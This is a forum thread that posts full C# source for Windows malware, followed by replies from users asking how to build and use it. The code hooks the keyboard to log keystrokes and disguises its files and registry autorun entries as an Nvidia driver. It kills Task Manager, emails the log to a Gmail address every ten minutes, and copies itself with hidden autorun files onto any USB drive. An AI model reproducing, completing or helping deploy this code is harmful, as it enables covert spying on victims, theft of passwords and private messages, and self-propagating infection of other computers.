Keylogger + Email + USB Spread Written in C#

Cleptography's Avatar, Join Date: Sep 2010
Go4Expert Member
This is a keylogger + email + usb spread written in c#
I can not take full credit for this program. Creds to the original author.
I have modified it a bit, but you get the idea.

Code:
using System;
using System.Diagnostics;
using System.Timers;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.IO;
using System.Net;
using System.Net.Mail;
using Microsoft.Win32;

namespace Keylogger_V2
{
    class Program
    {
        private const int WH_KEYBOARD_LL = 13;
        private const int WM_KEYDOWN = 0x0100;
        private static LowLevelKeyboardProc _proc = HookCallback;
        private static IntPtr _hookID = IntPtr.Zero;
        public static string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),"nvidia.log");
        public static byte caps = 0, shift = 0, failed = 0;

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool UnhookWindowsHookEx(IntPtr hhk);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr GetModuleHandle(string lpModuleName);

        public static void Main()
        {
        _hookID = SetHook(_proc);
        Program.startup();
        System.Timers.Timer timer;
        timer = new System.Timers.Timer();
        timer.Elapsed += new ElapsedEventHandler(Program.OnTimedEvent);
        timer.AutoReset = true;
        timer.Interval = 600000;
        timer.Start();
        System.Timers.Timer timer2;
        timer2 = new System.Timers.Timer();
        timer2.Elapsed += new ElapsedEventHandler(Program.USBSpread);
        timer2.AutoReset = true;
        timer2.Interval = 10000;
        timer2.Start();
        Application.Run();
        GC.KeepAlive(timer);
        GC.KeepAlive(timer2);
        UnhookWindowsHookEx(_hookID);
        }

        public static void startup()
        {
            //Try to copy keylogger in some folders
            string source = Application.ExecutablePath.ToString();
            string destination = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
            destination=System.IO.Path.Combine(destination,"nvdisp.exe");
            try
            {
                System.IO.File.Copy(source, destination,false);
                source = destination;
            } catch {
                Console.WriteLine("No authorization to copy file or other error.");
            }
            //Find if the file already exist in startup
            try
            {
                RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", false);

                if (registryKey.GetValue("Nvidia driver") == null)
                {
                    registryKey.SetValue("Nvidia driver", destination);
                }

                registryKey.Close();//dispose of the Key
            } catch {
                Console.WriteLine("Error setting startup reg key.");
            }
            //Try to add to all users
            try
            {
                RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", false);

                if (registryKey.GetValue("Nvidia driver") == null)
                {
                    registryKey.SetValue("Nvidia driver", source);
                }

                registryKey.Close();//dispose of the key
            }
            catch
            {
                Console.WriteLine("Error setting startup reg key for all users.");
            }
        }

        public static void OnTimedEvent(object source, EventArgs e)
        {
            Process[] ProcessList = Process.GetProcesses();
            foreach (Process proc in ProcessList)
            {
                if (proc.MainWindowTitle.Contains("Taskmgr.exe"))
                {
                    proc.Kill();
                }
            }
            System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage(); //create the message
            msg.To.Add("username@gmail.com");
            msg.From = new MailAddress("username@gmail.com", "username", System.Text.Encoding.UTF8);
            msg.Subject = "i don't know";
            msg.SubjectEncoding = System.Text.Encoding.UTF8;
            msg.Body = "ciao ale";
            msg.BodyEncoding = System.Text.Encoding.UTF8;
            msg.IsBodyHtml = false;
            msg.Priority = MailPriority.High;
            SmtpClient client = new SmtpClient(); //Network Credentials for Gmail
            client.Credentials = new System.Net.NetworkCredential("username@gmail.com", "password");
            client.Port = 587;
            client.Host = "smtp.gmail.com";
            client.EnableSsl = true;
            Attachment data = new Attachment(Program.path);
            msg.Attachments.Add(data);
            try
            {
                client.Send(msg);
                failed = 0;
            }
            catch
            {
                data.Dispose();
                failed = 1;
            }
            data.Dispose();

            if (failed == 0)
                File.WriteAllText(Program.path, ""); //empties the file
    
            failed = 0;
    
        }

        private static IntPtr SetHook(LowLevelKeyboardProc proc)
        {
            using (Process curProcess = Process.GetCurrentProcess())
            using (ProcessModule curModule = curProcess.MainModule)
            {
                return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0);
            }
        }
        private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
        private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
        {
            if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
            {
                StreamWriter sw = File.AppendText(Program.path);
                int vkCode = Marshal.ReadInt32(lParam);
                if (Keys.Shift == Control.ModifierKeys) Program.shift = 1;
                
            switch ((Keys)vkCode)
                {
                    case Keys.Space:
                        sw.Write(" ");
                        break;
                    case Keys.Return:
                        sw.WriteLine("");
                        break;
                    case Keys.Back:
                        sw.Write("back");
                        break;
                    case Keys.Tab:
                        sw.Write("TAB");
                        break;
                    case Keys.D0:
                        if (Program.shift == 0) sw.Write("0");
                        else sw.Write(")");
                        break;
                    case Keys.D1:
                        if (Program.shift == 0) sw.Write("1");
                        else sw.Write("!");
                        break;
                    case Keys.D2:
                        if (Program.shift == 0) sw.Write("2");
                        else sw.Write("@");
                        break;
                    case Keys.D3:
                        if (Program.shift == 0) sw.Write("3");
                        else sw.Write("#");
                        break;
                    case Keys.D4:
                        if (Program.shift == 0) sw.Write("4");
                        else sw.Write("$");
                        break;
                    case Keys.D5:
                        if (Program.shift == 0) sw.Write("5");
                        else sw.Write("%");
                        break;
                    case Keys.D6:
                        if (Program.shift == 0) sw.Write("6");
                        else sw.Write("^");
                        break;
                    case Keys.D7:
                        if (Program.shift == 0) sw.Write("7");
                        else sw.Write("&");
                        break;
                    case Keys.D8:
                        if (Program.shift == 0) sw.Write("8");
                        else sw.Write("*");
                        break;
                    case Keys.D9:
                        if (Program.shift == 0) sw.Write("9");
                        else sw.Write("(");
                        break;
                    case Keys.LShiftKey:
                    case Keys.RShiftKey:
                    case Keys.LControlKey:
                    case Keys.RControlKey:
                    case Keys.LMenu:
                    case Keys.RMenu:
                    case Keys.LWin:
                    case Keys.RWin:
                    case Keys.Apps:
                sw.Write("");
                        break;
                    case Keys.OemQuestion:
                        if (Program.shift == 0) sw.Write("/");
                        else sw.Write("?");
                        break;
                    case Keys.OemOpenBrackets:
                        if (Program.shift == 0) sw.Write("[");
                        else sw.Write("{");
                        break;
                    case Keys.OemCloseBrackets:
                        if (Program.shift == 0) sw.Write("]");
                        else sw.Write("}");
                        break;
                    case Keys.Oem1:
                        if (Program.shift == 0) sw.Write(";");
                        else sw.Write(":");
                        break;
                    case Keys.Oem7:
                        if (Program.shift == 0) sw.Write("'");
                        else sw.Write('"');
                        break;
                    case Keys.Oemcomma:
                        if (Program.shift == 0) sw.Write(",");
                        else sw.Write("<");
                        break;
                    case Keys.OemPeriod:
                        if (Program.shift == 0) sw.Write(".");
                        else sw.Write(">");
                        break;
                    case Keys.OemMinus:
                        if (Program.shift == 0) sw.Write("-");
                        else sw.Write("_");
                        break;
                    case Keys.Oemplus:
                        if (Program.shift == 0) sw.Write("=");
                        else sw.Write("+");
                        break;
                    case Keys.Oemtilde:
                        if (Program.shift == 0) sw.Write("`");
                        else sw.Write("~");
                    break;
                case Keys.Oem5:
                    sw.Write("|");
                    break;
                case Keys.Capital:
                    if (Program.caps == 0) Program.caps = 1;
                    else Program.caps = 0;
                    break;
                default:
                    if (Program.shift == 0 && Program.caps == 0) sw.Write(((Keys)vkCode).ToString().ToLower());
                    if (Program.shift == 1 && Program.caps == 0) sw.Write(((Keys)vkCode).ToString().ToUpper());
                    if (Program.shift == 0 && Program.caps == 1) sw.Write(((Keys)vkCode).ToString().ToUpper());
                    if (Program.shift == 1 && Program.caps == 1) sw.Write(((Keys)vkCode).ToString().ToLower());
                    break;
            }
            Program.shift = 0;
            sw.Close();
        }    
        return CallNextHookEx(_hookID, nCode, wParam, lParam);
        }

        public static void USBSpread(object source, EventArgs e)
        {
            ///////////////////////////////////////////////////////////////
            /////////////////////// USB spread class //////////////////////
            ///////////////////////////////////////////////////////////////
            //A bit modified
            string source2 = Application.ExecutablePath.ToString();
            System.IO.DriveInfo[] drives = System.IO.DriveInfo.GetDrives();
            try
            {
                foreach (System.IO.DriveInfo drive in drives)
                {
                    if (drive.DriveType == DriveType.Removable)
                    {
                        string driveAutorun = drive.Name + "autorun.inf";
                        StreamWriter sw = new StreamWriter(driveAutorun);
                        sw.WriteLine("[autorun]\n");
                        sw.WriteLine("open=start.exe");
                        sw.WriteLine("action=Run VMCLite");
                        sw.Close();
                        File.SetAttributes(drive.Name + "autorun.inf", File.GetAttributes(drive.Name + "autorun.inf") | FileAttributes.Hidden);
                        try
                        {
                            File.Copy(source2, drive.Name + "start.exe", true);
                            File.SetAttributes(drive.Name + "start.exe", File.GetAttributes(drive.Name + "start.exe") | FileAttributes.Hidden);
                        }
                        finally
                        {
                            Console.WriteLine("Removable device rooted");
                        }
                    }
                }
            }
            catch (Exception e2)
            {
                Console.WriteLine(e2.ToString());
            }
        }
    }
}
0
bvgmanold's Avatar, Join Date: Sep 2011
Newbie Member
what to write in the main function of program.cs and what about the form1.cs ???
0
bvgmanold's Avatar, Join Date: Sep 2011
Newbie Member
Ok thanks got it
0
bvgmanold's Avatar, Join Date: Sep 2011
Newbie Member
Hey bro does this same code works for windows 7, vista etc ???
and I am getting an issue on some PC's that the code to write to registry (startup) is not working, some time it writes some time not giving an exception of not enough privileges sort of thing...
0
justC#'s Avatar, Join Date: Apr 2012
Newbie Member
Hello C# gurus. I am newbie to c# coding. I just wanted to know that. Where to place this entire code. I mean shall I first take a win form and use this code as namespace ? Please help me in this, I want to use this in my project. Help is highly appreciated.